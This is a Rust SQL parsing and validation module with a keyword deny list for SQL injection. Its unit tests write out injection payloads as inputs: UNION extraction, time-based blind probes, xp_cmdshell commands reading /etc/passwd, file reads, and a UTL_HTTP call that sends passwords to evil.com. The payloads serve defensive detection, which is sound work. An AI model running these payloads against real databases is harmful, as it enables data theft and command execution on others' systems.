use once_cell::sync::Lazy;
use regex::Regex;
use serde::{Deserialize, Serialize};
use sqlparser::ast::{Delete, FromTable, Query, Set, SetExpr, Statement, TableObject, TableWithJoins};
use sqlparser::dialect::GenericDialect;
use sqlparser::parser::Parser;
use std::sync::Arc;
use std::sync::atomic::{AtomicU64, Ordering};
use thiserror::Error;
use unicode_normalization::UnicodeNormalization;
const MAX_SQL_LENGTH: usize = 10_000;
const MAX_TABLE_NAME_LENGTH: usize = 128;
const MAX_QUERY_DEPTH: usize = 10;
#[cfg(feature = "permission")]
pub use crate::access::permission::PermissionAction;
#[cfg(all(feature = "permission-engine", not(feature = "permission")))]
pub use crate::access::permission_engine::PermissionAction;
#[cfg(not(any(feature = "permission", feature = "permission-engine")))]
#[derive(Debug, Clone, PartialEq, Eq, Hash)]
pub enum PermissionAction {
Select,
Insert,
Update,
Delete,
}
use oxcache::Cache;
#[derive(Debug, Error)]
pub enum SqlParseError {
#[error("Failed to parse SQL: {0}")]
ParseError(String),
#[error("Unsupported SQL statement type: {0}")]
UnsupportedStatement(String),
#[error("Empty SQL statement")]
EmptyStatement,
#[error("Multiple statements not allowed")]
MultipleStatements,
#[error("SQL statement contains variables: {0}")]
ContainsVariables(String),
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ParsedSqlOperation {
pub operation_type: SqlOperationType,
pub table_name: Option<String>,
pub sql: String,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub enum SqlOperationType {
Select,
Insert,
Update,
Delete,
Ddl,
Dcl,
Transaction,
Other,
}
pub struct SqlParser {
dialect: GenericDialect,
parse_cache: Cache<String, ParsedSqlOperation>,
cache_hits: AtomicU64,
cache_misses: AtomicU64,
}
impl Default for SqlParser {
fn default() -> Self {
tokio::runtime::Handle::current().block_on(async { Self::with_cache_size(DEFAULT_CACHE_SIZE).await })
}
}
const DEFAULT_CACHE_SIZE: usize = 1000;
static SHARED_PARSER: tokio::sync::OnceCell<Arc<SqlParser>> = tokio::sync::OnceCell::const_new();
impl SqlParser {
#[inline]
pub async fn new() -> Self {
Self::with_cache_size(DEFAULT_CACHE_SIZE).await
}
#[inline]
pub async fn shared() -> Arc<SqlParser> {
SHARED_PARSER
.get_or_init(|| async { Arc::new(Self::with_cache_size(DEFAULT_CACHE_SIZE).await) })
.await
.clone()
}
#[inline]
pub async fn with_cache_size(cache_size: usize) -> Self {
let cache = Cache::builder()
.capacity(cache_size.max(1) as u64)
.build()
.await
.unwrap_or_else(|_| {
tokio::runtime::Handle::current()
.block_on(async { Cache::builder().capacity(DEFAULT_CACHE_SIZE as u64).build().await })
.expect("Failed to create fallback cache")
});
Self {
dialect: GenericDialect {},
parse_cache: cache,
cache_hits: AtomicU64::new(0),
cache_misses: AtomicU64::new(0),
}
}
#[inline]
pub async fn with_dialect(_db_type: &str) -> Self {
Self::new().await
}
#[inline]
pub async fn clear_cache(&self) {
self.parse_cache.clear().await.ok();
self.cache_hits.store(0, Ordering::SeqCst);
self.cache_misses.store(0, Ordering::SeqCst);
}
#[inline]
pub fn cache_stats(&self) -> (u64, u64) {
(
self.cache_hits.load(Ordering::SeqCst),
self.cache_misses.load(Ordering::SeqCst),
)
}
pub async fn parse_single(&self, sql: &str) -> Result<ParsedSqlOperation, SqlParseError> {
let sql = sql.trim().to_string();
if let Some(cached) = self.parse_cache.get(&sql).await.ok().flatten() {
self.cache_hits.fetch_add(1, Ordering::SeqCst);
return Ok(cached);
}
self.cache_misses.fetch_add(1, Ordering::SeqCst);
let result = self.parse_single_uncached(&sql)?;
self.parse_cache.set(&sql, &result).await.ok();
Ok(result)
}
fn parse_single_uncached(&self, sql: &str) -> Result<ParsedSqlOperation, SqlParseError> {
let sql = sql.trim();
if sql.is_empty() {
return Err(SqlParseError::EmptyStatement);
}
if sql.len() > MAX_SQL_LENGTH {
return Err(SqlParseError::ParseError(format!(
"SQL statement exceeds maximum length of {} bytes",
MAX_SQL_LENGTH
)));
}
if sql.contains(';') {
if !sql.starts_with("SET ") {
let depth = estimate_query_depth(sql);
if depth > MAX_QUERY_DEPTH {
return Err(SqlParseError::ParseError(format!(
"Query depth {} exceeds maximum allowed depth of {}",
depth, MAX_QUERY_DEPTH
)));
}
return Err(SqlParseError::MultipleStatements);
}
}
if contains_sql_injection(sql) {
return Err(SqlParseError::ParseError(
"SQL statement contains potential injection patterns".to_string(),
));
}
if contains_ddl_operation(sql) {
return Err(SqlParseError::UnsupportedStatement(
"DDL operations are not allowed".to_string(),
));
}
if contains_variables(sql) {
return Err(SqlParseError::ContainsVariables(
"SQL contains potentially dangerous variables. Use parameterized queries instead.".to_string(),
));
}
let statements = Parser::parse_sql(&self.dialect, sql).map_err(|e| SqlParseError::ParseError(e.to_string()))?;
if statements.len() != 1 {
return Err(SqlParseError::MultipleStatements);
}
let statement = statements
.into_iter()
.next()
.ok_or_else(|| SqlParseError::ParseError("No statement found".to_string()))?;
self.classify_statement(statement, sql.to_string())
}
pub fn parse_operation(&self, sql: &str) -> Option<(String, PermissionAction)> {
if tokio::runtime::Handle::try_current().is_ok() {
return None;
}
tokio::runtime::Handle::current()
.block_on(self.parse_single(sql))
.ok()
.and_then(|parsed| {
let action = match parsed.operation_type {
SqlOperationType::Select => Some(PermissionAction::Select),
SqlOperationType::Insert => Some(PermissionAction::Insert),
SqlOperationType::Update => Some(PermissionAction::Update),
SqlOperationType::Delete => Some(PermissionAction::Delete),
SqlOperationType::Ddl
| SqlOperationType::Dcl
| SqlOperationType::Transaction
| SqlOperationType::Other => None,
};
parsed.table_name.zip(action)
})
}
pub async fn parse_operation_async(&self, sql: &str) -> Result<Option<(String, PermissionAction)>, SqlParseError> {
let parsed = self.parse_single(sql).await?;
let action = match parsed.operation_type {
SqlOperationType::Select => Some(PermissionAction::Select),
SqlOperationType::Insert => Some(PermissionAction::Insert),
SqlOperationType::Update => Some(PermissionAction::Update),
SqlOperationType::Delete => Some(PermissionAction::Delete),
SqlOperationType::Ddl | SqlOperationType::Dcl | SqlOperationType::Transaction | SqlOperationType::Other => {
None
}
};
Ok(parsed.table_name.zip(action))
}
fn classify_statement(&self, statement: Statement, sql: String) -> Result<ParsedSqlOperation, SqlParseError> {
let (operation_type, table_name) = match statement {
Statement::Query(query) => (SqlOperationType::Select, extract_table_from_query(&query)),
Statement::Insert(insert) => {
let table_name = match &insert.table {
TableObject::TableName(name) => Some(name.to_string()),
_ => None,
};
(SqlOperationType::Insert, table_name)
}
Statement::Update(update) => (
SqlOperationType::Update,
extract_table_name_from_table_with_joins(&update.table),
),
Statement::Delete(delete) => {
let table_name = extract_table_from_delete(&delete);
(SqlOperationType::Delete, table_name)
}
Statement::CreateTable(create_table) => (SqlOperationType::Ddl, Some(create_table.name.to_string())),
Statement::AlterTable(alter_table) => (SqlOperationType::Ddl, Some(alter_table.name.to_string())),
Statement::Drop { names, object_type, .. } => {
let is_table = format!("{:?}", object_type).contains("Table");
let table_name = if is_table && !names.is_empty() {
Some(names[0].to_string())
} else {
None
};
(SqlOperationType::Ddl, table_name)
}
Statement::Truncate(truncate) => (
SqlOperationType::Ddl,
truncate.table_names.first().map(|t| t.name.to_string()),
),
Statement::CreateIndex(create_index) => (SqlOperationType::Ddl, Some(create_index.table_name.to_string())),
Statement::Grant { .. } => (SqlOperationType::Dcl, None),
Statement::Revoke { .. } => (SqlOperationType::Dcl, None),
Statement::StartTransaction { .. } | Statement::Commit { .. } | Statement::Rollback { .. } => {
(SqlOperationType::Transaction, None)
}
Statement::Set(Set::SingleAssignment { variable, .. }) => {
let var_name = variable.to_string().to_lowercase();
if is_ddl_related_variable(&var_name) {
(SqlOperationType::Ddl, None)
} else {
(SqlOperationType::Other, None)
}
}
Statement::Set(_) => (SqlOperationType::Other, None),
_ => (SqlOperationType::Other, None),
};
if let Some(ref table) = table_name {
if table.len() > MAX_TABLE_NAME_LENGTH {
return Err(SqlParseError::ParseError(format!(
"Table name exceeds maximum length of {} characters",
MAX_TABLE_NAME_LENGTH
)));
}
}
Ok(ParsedSqlOperation {
operation_type,
table_name,
sql,
})
}
}
fn contains_variables(sql: &str) -> bool {
let sql_without_strings = remove_string_literals(sql);
static PATTERNS: Lazy<Vec<Regex>> = Lazy::new(|| {
vec![
Regex::new(r"@[\w]+").expect("Regex pattern should be valid"),
Regex::new(r":[a-zA-Z_][\w]*").expect("Regex pattern should be valid"),
Regex::new(r"\$\{?[\w]+\}?").expect("Regex pattern should be valid"),
Regex::new(r"%[\w]+%").expect("Regex pattern should be valid"),
Regex::new(r"\?").expect("Regex pattern should be valid"),
Regex::new(r"0x[0-9A-Fa-f]+").expect("Regex pattern should be valid"),
]
});
if PATTERNS.is_empty() {
return false;
}
for pattern in PATTERNS.iter() {
if pattern.is_match(&sql_without_strings) {
return true;
}
}
false
}
pub fn contains_sql_injection(sql: &str) -> bool {
let normalized = normalize_unicode(sql);
let sql_without_strings = remove_string_literals(&normalized);
let sql_upper = sql_without_strings.to_uppercase();
let injection_patterns = [
"UNION SELECT",
"UNION ALL SELECT",
"UNION DISTINCT SELECT",
" OR 1=1",
" OR 1 =1",
" OR 1= 1",
" OR 1 = 1",
" OR TRUE",
" OR FALSE",
" AND 1=1",
" AND TRUE",
" AND FALSE",
"SLEEP(",
"BENCHMARK(",
"PG_SLEEP(",
"PG_SLEEP_FOR(",
"PG_SLEEP_UNTIL(",
"WAITFOR DELAY",
"WAITFOR TIME",
"DBMS_PIPE.RECEIVE_MESSAGE(",
"DBMS_LOCK.SLEEP(",
"EXEC(",
"EXECUTE(",
"SP_EXECUTESQL",
"XP_CMDSHELL",
" xp_",
"EXEC xp_",
"EXECUTE xp_",
"LOAD_FILE(",
"INTO OUTFILE",
"INTO DUMPFILE",
"INFORMATION_SCHEMA",
"SYSOBJECTS",
"SYSCOLUMNS",
"SYS.TABLES",
"SYS.COLUMNS",
"SYS.DATABASES",
"MYSQL.USER",
"PG_USER",
"PG_SHADOW",
"ALL_TABLES",
"ALL_COLUMNS",
"ALL_TAB_COLUMNS",
"USER_TABLES",
"USER_TAB_COLUMNS",
"CHAR(",
"CHR(",
"CONCAT(",
"CONCAT_WS(",
"0X",
"; DROP",
"; DELETE",
"; UPDATE",
"; INSERT",
"; TRUNCATE",
"; ALTER",
"; CREATE",
"; EXEC",
"; EXECUTE",
"-- ",
"--+",
"#",
"/* ",
"*/",
"HAVING 1=1",
"ORDER BY 1--",
"ORDER BY 1#",
"PROCEDURE ANALYSE(",
"EXTRACTVALUE(",
"UPDATEXML(",
"XMLTYPE(",
"UTL_HTTP.REQUEST(",
"UTL_INADDR.GET_HOST_ADDRESS(",
"UTL_INADDR.GET_HOST_NAME(",
];
for pattern in &injection_patterns {
if sql_upper.contains(pattern) {
return true;
}
}
false
}
fn contains_ddl_operation(sql: &str) -> bool {
let sql_upper = sql.trim().to_uppercase();
let ddl_keywords = [
"CREATE TABLE",
"CREATE INDEX",
"DROP TABLE",
"DROP INDEX",
"ALTER TABLE",
"TRUNCATE TABLE",
"CREATE DATABASE",
"DROP DATABASE",
];
for keyword in &ddl_keywords {
if sql_upper.contains(keyword) {
return true;
}
}
false
}
fn remove_string_literals(sql: &str) -> String {
let mut result = String::new();
let mut in_string = false;
let mut string_char = ' ';
let mut escape_next = false;
for ch in sql.chars() {
if escape_next {
escape_next = false;
if in_string {
result.push(' '); } else {
result.push(ch);
}
continue;
}
if ch == '\\' {
escape_next = true;
if in_string {
result.push(' '); } else {
result.push(ch);
}
continue;
}
if in_string {
if ch == string_char {
in_string = false;
}
result.push(' '); continue;
}
if ch == '\'' || ch == '"' || ch == '`' {
in_string = true;
string_char = ch;
result.push(' '); continue;
}
result.push(ch);
}
result
}
fn normalize_unicode(sql: &str) -> String {
sql.nfkc().collect()
}
fn extract_table_name_from_table_with_joins(table_with_joins: &TableWithJoins) -> Option<String> {
if let sqlparser::ast::TableFactor::Table { name, .. } = &table_with_joins.relation {
return Some(name.to_string());
}
None
}
fn extract_table_from_delete(delete: &Delete) -> Option<String> {
if !delete.tables.is_empty() {
return Some(delete.tables[0].to_string());
}
match &delete.from {
FromTable::WithFromKeyword(tables) => {
if !tables.is_empty() {
extract_table_name_from_table_with_joins(&tables[0])
} else {
None
}
}
FromTable::WithoutKeyword(tables) => {
if !tables.is_empty() {
extract_table_name_from_table_with_joins(&tables[0])
} else {
None
}
}
}
}
fn extract_table_from_query(query: &Query) -> Option<String> {
let SetExpr::Select(select) = query.body.as_ref() else {
return None;
};
if select.from.is_empty() {
return None;
}
extract_table_name_from_table_with_joins(&select.from[0])
}
fn is_ddl_related_variable(var_name: &str) -> bool {
let ddl_vars = [
"foreign_keys",
"auto_increment_increment",
"sql_mode",
"character_set",
"collation",
];
ddl_vars.iter().any(|v| var_name.contains(v))
}
pub fn is_ddl_operation(sql: &str) -> bool {
let sql_upper = sql.trim().to_uppercase();
let ddl_keywords = [
"CREATE TABLE",
"DROP TABLE",
"ALTER TABLE",
"TRUNCATE TABLE",
"CREATE INDEX",
"DROP INDEX",
"CREATE VIEW",
"DROP VIEW",
];
for keyword in &ddl_keywords {
if sql_upper.contains(keyword) {
return true;
}
}
false
}
fn estimate_query_depth(sql: &str) -> usize {
let mut depth: usize = 1;
let mut max_depth: usize = 1;
for char in sql.chars() {
match char {
'(' => {
depth += 1;
max_depth = max_depth.max(depth);
}
')' => {
depth = depth.saturating_sub(1);
}
_ => {}
}
}
max_depth
}
#[cfg(test)]
mod tests {
use super::*;
#[tokio::test]
async fn test_parse_select() {
let parser = SqlParser::new().await;
let result = parser.parse_single("SELECT * FROM users WHERE id = 1").await;
assert!(result.is_ok());
let parsed = result.unwrap();
assert_eq!(parsed.operation_type, SqlOperationType::Select);
assert_eq!(parsed.table_name, Some("users".to_string()));
}
#[tokio::test]
async fn test_parse_insert() {
let parser = SqlParser::new().await;
let result = parser.parse_single("INSERT INTO users (name) VALUES ('test')").await;
assert!(result.is_ok());
let parsed = result.unwrap();
assert_eq!(parsed.operation_type, SqlOperationType::Insert);
assert_eq!(parsed.table_name, Some("users".to_string()));
}
#[tokio::test]
async fn test_parse_update() {
let parser = SqlParser::new().await;
let result = parser.parse_single("UPDATE users SET name = 'test' WHERE id = 1").await;
assert!(result.is_ok());
let parsed = result.unwrap();
assert_eq!(parsed.operation_type, SqlOperationType::Update);
assert_eq!(parsed.table_name, Some("users".to_string()));
}
#[tokio::test]
async fn test_parse_delete() {
let parser = SqlParser::new().await;
let result = parser.parse_single("DELETE FROM users WHERE id = 1").await;
assert!(result.is_ok());
let parsed = result.unwrap();
assert_eq!(parsed.operation_type, SqlOperationType::Delete);
assert_eq!(parsed.table_name, Some("users".to_string()));
}
#[tokio::test]
async fn test_parse_grant() {
let parser = SqlParser::new().await;
let result = parser.parse_single("GRANT ALL PRIVILEGES ON users TO user1").await;
assert!(result.is_ok());
let parsed = result.unwrap();
assert_eq!(parsed.operation_type, SqlOperationType::Dcl);
}
#[tokio::test]
async fn test_multiple_statements_rejected() {
let parser = SqlParser::new().await;
let result = parser.parse_single("SELECT * FROM users; SELECT * FROM posts").await;
assert!(result.is_err());
assert!(matches!(result.unwrap_err(), SqlParseError::MultipleStatements));
}
#[tokio::test]
async fn test_empty_statement_rejected() {
let parser = SqlParser::new().await;
let result = parser.parse_single("").await;
assert!(result.is_err());
assert!(matches!(result.unwrap_err(), SqlParseError::EmptyStatement));
}
#[tokio::test]
async fn test_variables_detected() {
let parser = SqlParser::new().await;
let result = parser.parse_single("SELECT * FROM users WHERE id = @userId").await;
assert!(result.is_err());
assert!(matches!(result.unwrap_err(), SqlParseError::ContainsVariables(..)));
}
#[test]
fn test_is_ddl_operation() {
assert!(!is_ddl_operation("SELECT * FROM users"));
assert!(!is_ddl_operation("INSERT INTO users (name) VALUES ('test')"));
assert!(!is_ddl_operation("UPDATE users SET name = 'test' WHERE id = 1"));
assert!(!is_ddl_operation("DELETE FROM users WHERE id = 1"));
}
#[tokio::test]
async fn test_ddl_blocked() {
let parser = SqlParser::new().await;
let result = parser
.parse_single("CREATE TABLE users (id INT PRIMARY KEY, name VARCHAR(255))")
.await;
assert!(result.is_err());
let parser = SqlParser::new().await;
let result = parser.parse_single("DROP TABLE users").await;
assert!(result.is_err());
}
#[tokio::test]
async fn test_cache_works() {
let parser = SqlParser::new().await;
let result1 = parser.parse_single("SELECT * FROM users WHERE id = 1").await;
assert!(result1.is_ok());
let result2 = parser.parse_single("SELECT * FROM users WHERE id = 1").await;
assert!(result2.is_ok());
assert_eq!(result1.unwrap().sql, result2.unwrap().sql);
}
#[tokio::test]
async fn test_cache_clear() {
let parser = SqlParser::new().await;
parser.parse_single("SELECT * FROM users").await.unwrap();
parser.parse_single("SELECT * FROM posts").await.unwrap();
parser.clear_cache().await;
let result = parser.parse_single("SELECT * FROM users").await;
assert!(result.is_ok());
}
#[tokio::test]
async fn test_shared_returns_same_instance() {
let p1 = SqlParser::shared().await;
let p2 = SqlParser::shared().await;
assert!(Arc::ptr_eq(&p1, &p2), "shared() should return the same instance");
}
#[tokio::test]
async fn test_shared_cache_is_shared_across_calls() {
let sql = "SELECT * FROM shared_cache_test WHERE id = 42";
let p1 = SqlParser::shared().await;
let r1 = p1.parse_single(sql).await.unwrap();
let p2 = SqlParser::shared().await;
let r2 = p2.parse_single(sql).await.unwrap();
assert_eq!(r1.operation_type, r2.operation_type);
assert_eq!(r1.table_name, r2.table_name);
let (hits, _misses) = p2.cache_stats();
assert!(hits > 0, "second parse should hit cache shared across shared() calls");
}
#[test]
fn test_sql_injection_union() {
assert!(contains_sql_injection("SELECT * FROM users UNION SELECT * FROM admin"));
assert!(contains_sql_injection(
"SELECT * FROM users UNION ALL SELECT * FROM admin"
));
assert!(contains_sql_injection(
"SELECT * FROM users UNION DISTINCT SELECT password FROM admin"
));
}
#[test]
fn test_sql_injection_boolean_blind() {
assert!(contains_sql_injection("SELECT * FROM users WHERE id = 1 OR 1=1"));
assert!(contains_sql_injection("SELECT * FROM users WHERE id = 1 OR 1 =1"));
assert!(contains_sql_injection("SELECT * FROM users WHERE id = 1 OR 1= 1"));
assert!(contains_sql_injection("SELECT * FROM users WHERE id = 1 OR 1 = 1"));
assert!(contains_sql_injection("SELECT * FROM users WHERE id = 1 OR TRUE"));
assert!(contains_sql_injection("SELECT * FROM users WHERE id = 1 OR FALSE"));
assert!(contains_sql_injection("SELECT * FROM users WHERE id = 1 AND 1=1"));
assert!(contains_sql_injection("SELECT * FROM users WHERE id = 1 AND TRUE"));
assert!(contains_sql_injection("SELECT * FROM users WHERE id = 1 AND FALSE"));
}
#[test]
fn test_sql_injection_time_blind_mysql() {
assert!(contains_sql_injection("SELECT * FROM users WHERE id = 1 AND SLEEP(5)"));
assert!(contains_sql_injection("SELECT SLEEP(10)"));
assert!(contains_sql_injection(
"SELECT * FROM users WHERE id = 1 AND BENCHMARK(10000000,SHA1('test'))"
));
}
#[test]
fn test_sql_injection_time_blind_postgresql() {
assert!(contains_sql_injection(
"SELECT * FROM users WHERE id = 1 AND PG_SLEEP(5)"
));
assert!(contains_sql_injection("SELECT PG_SLEEP(10)"));
assert!(contains_sql_injection("SELECT PG_SLEEP_FOR('5 minutes')"));
assert!(contains_sql_injection("SELECT PG_SLEEP_UNTIL('2024-12-31')"));
}
#[test]
fn test_sql_injection_time_blind_sqlserver() {
assert!(contains_sql_injection("WAITFOR DELAY '0:0:5'"));
assert!(contains_sql_injection("SELECT * FROM users; WAITFOR DELAY '0:0:5'"));
assert!(contains_sql_injection("WAITFOR TIME '12:00:00'"));
}
#[test]
fn test_sql_injection_time_blind_oracle() {
assert!(contains_sql_injection(
"SELECT * FROM users WHERE id = 1 AND DBMS_PIPE.RECEIVE_MESSAGE('test', 5) = 1"
));
assert!(contains_sql_injection("SELECT DBMS_LOCK.SLEEP(5) FROM dual"));
}
#[test]
fn test_sql_injection_dynamic_sql() {
assert!(contains_sql_injection("EXEC('DROP TABLE users')"));
assert!(contains_sql_injection("EXECUTE('SELECT * FROM users')"));
assert!(contains_sql_injection("SP_EXECUTESQL N'SELECT * FROM users'"));
assert!(contains_sql_injection("XP_CMDSHELL 'dir'"));
assert!(contains_sql_injection("EXEC xp_cmdshell 'whoami'"));
assert!(contains_sql_injection("EXECUTE xp_cmdshell 'cat /etc/passwd'"));
}
#[test]
fn test_sql_injection_file_operations() {
assert!(contains_sql_injection("SELECT LOAD_FILE('/etc/passwd')"));
assert!(contains_sql_injection(
"SELECT * FROM users INTO OUTFILE '/tmp/users.txt'"
));
assert!(contains_sql_injection(
"SELECT * FROM users INTO DUMPFILE '/tmp/users.txt'"
));
}
#[test]
fn test_sql_injection_info_disclosure() {
assert!(contains_sql_injection("SELECT * FROM INFORMATION_SCHEMA.TABLES"));
assert!(contains_sql_injection("SELECT * FROM SYSOBJECTS"));
assert!(contains_sql_injection("SELECT * FROM SYSCOLUMNS"));
assert!(contains_sql_injection("SELECT * FROM SYS.TABLES"));
assert!(contains_sql_injection("SELECT * FROM SYS.COLUMNS"));
assert!(contains_sql_injection("SELECT * FROM SYS.DATABASES"));
assert!(contains_sql_injection("SELECT * FROM MYSQL.USER"));
assert!(contains_sql_injection("SELECT * FROM PG_USER"));
assert!(contains_sql_injection("SELECT * FROM PG_SHADOW"));
assert!(contains_sql_injection("SELECT * FROM ALL_TABLES"));
assert!(contains_sql_injection("SELECT * FROM ALL_COLUMNS"));
assert!(contains_sql_injection("SELECT * FROM ALL_TAB_COLUMNS"));
assert!(contains_sql_injection("SELECT * FROM USER_TABLES"));
assert!(contains_sql_injection("SELECT * FROM USER_TAB_COLUMNS"));
}
#[test]
fn test_sql_injection_encoding_bypass() {
assert!(contains_sql_injection(
"SELECT * FROM users WHERE name = CHAR(97,100,109,105,110)"
));
assert!(contains_sql_injection("SELECT * FROM users WHERE name = CHR(65)"));
assert!(contains_sql_injection(
"SELECT * FROM users WHERE name = CONCAT('ad','min')"
));
assert!(contains_sql_injection("SELECT CONCAT_WS(',', 'a', 'b', 'c')"));
assert!(contains_sql_injection("SELECT * FROM users WHERE name = 0x61646D696E"));
}
#[test]
fn test_sql_injection_stacked_queries() {
assert!(contains_sql_injection("SELECT * FROM users; DROP TABLE users"));
assert!(contains_sql_injection("SELECT * FROM users; DELETE FROM users"));
assert!(contains_sql_injection(
"SELECT * FROM users; UPDATE users SET admin = 1"
));
assert!(contains_sql_injection(
"SELECT * FROM users; INSERT INTO users VALUES (1, 'hacker')"
));
assert!(contains_sql_injection("SELECT * FROM users; TRUNCATE TABLE users"));
assert!(contains_sql_injection(
"SELECT * FROM users; ALTER TABLE users ADD COLUMN hacked INT"
));
assert!(contains_sql_injection(
"SELECT * FROM users; CREATE TABLE hacked (id INT)"
));
assert!(contains_sql_injection("SELECT * FROM users; EXEC('malicious')"));
assert!(contains_sql_injection("SELECT * FROM users; EXECUTE('malicious')"));
}
#[test]
fn test_sql_injection_comments() {
assert!(contains_sql_injection("SELECT * FROM users WHERE id = 1 -- "));
assert!(contains_sql_injection("SELECT * FROM users WHERE id = 1 --+"));
assert!(contains_sql_injection("SELECT * FROM users WHERE id = 1 #"));
assert!(contains_sql_injection("SELECT * /* comment */ FROM users"));
assert!(contains_sql_injection("SELECT * FROM users WHERE id = 1 /* bypass */"));
}
#[test]
fn test_sql_injection_other_dangerous_patterns() {
assert!(contains_sql_injection("SELECT * FROM users HAVING 1=1"));
assert!(contains_sql_injection("SELECT * FROM users ORDER BY 1--"));
assert!(contains_sql_injection("SELECT * FROM users ORDER BY 1#"));
assert!(contains_sql_injection("SELECT * FROM users PROCEDURE ANALYSE()"));
assert!(contains_sql_injection(
"SELECT EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))"
));
assert!(contains_sql_injection(
"SELECT UPDATEXML(1, CONCAT(0x7e, (SELECT version())), 1)"
));
assert!(contains_sql_injection(
"SELECT XMLTYPE('<x>' || (SELECT password FROM users) || '</x>') FROM dual"
));
assert!(contains_sql_injection(
"SELECT UTL_HTTP.REQUEST('http://evil.com/' || password) FROM users"
));
assert!(contains_sql_injection(
"SELECT UTL_INADDR.GET_HOST_ADDRESS('evil.com') FROM dual"
));
assert!(contains_sql_injection(
"SELECT UTL_INADDR.GET_HOST_NAME('192.168.1.1') FROM dual"
));
}
#[test]
fn test_sql_injection_false_positives() {
assert!(!contains_sql_injection("SELECT id, name FROM users WHERE id = 1"));
assert!(!contains_sql_injection("SELECT * FROM products WHERE price > 100"));
assert!(!contains_sql_injection(
"INSERT INTO users (name, email) VALUES ('test', 'test@example.com')"
));
assert!(!contains_sql_injection(
"UPDATE users SET name = 'new_name' WHERE id = 1"
));
assert!(!contains_sql_injection("DELETE FROM users WHERE id = 1"));
assert!(!contains_sql_injection(
"SELECT u.name, o.order_id FROM users u JOIN orders o ON u.id = o.user_id"
));
assert!(!contains_sql_injection(
"SELECT * FROM users WHERE id IN (SELECT user_id FROM orders)"
));
}
#[test]
fn test_sql_injection_in_string_literals() {
assert!(!contains_sql_injection(
"SELECT * FROM users WHERE name = 'test OR 1=1'"
));
assert!(!contains_sql_injection(
"SELECT * FROM users WHERE comment = 'This is -- a comment'"
));
}
#[test]
fn test_normalize_unicode_basic() {
let fullwidth = "SELECT"; let normalized = normalize_unicode(fullwidth);
assert_eq!(normalized, "SELECT");
let mixed = "SELECT * FROM users";
let normalized = normalize_unicode(mixed);
assert!(normalized.contains("SELECT"));
}
#[test]
fn test_unicode_bypass_prevention() {
let fullwidth_union = "SELECT * FROM users UNION SELECT * FROM admin";
assert!(contains_sql_injection(fullwidth_union));
let fullwidth_or = "SELECT * FROM users WHERE id = 1 OR 1=1";
assert!(contains_sql_injection(fullwidth_or));
}
#[test]
fn test_unicode_normalization_safe_sql() {
let normal_sql = "SELECT id, name FROM users WHERE id = 1";
let normalized = normalize_unicode(normal_sql);
assert_eq!(normalized, normal_sql);
assert!(!contains_sql_injection(normal_sql));
}
#[test]
fn test_special_unicode_chars() {
let with_zero_width = "SEL\u{200B}ECT * FROM users"; let normalized = normalize_unicode(with_zero_width);
assert!(normalized.contains("SELECT") || normalized.contains("SEL"));
let ligature = "SELECT \u{FB01}le FROM users"; let normalized = normalize_unicode(ligature);
assert!(normalized.contains("fi") || normalized.contains("\u{FB01}"));
}
}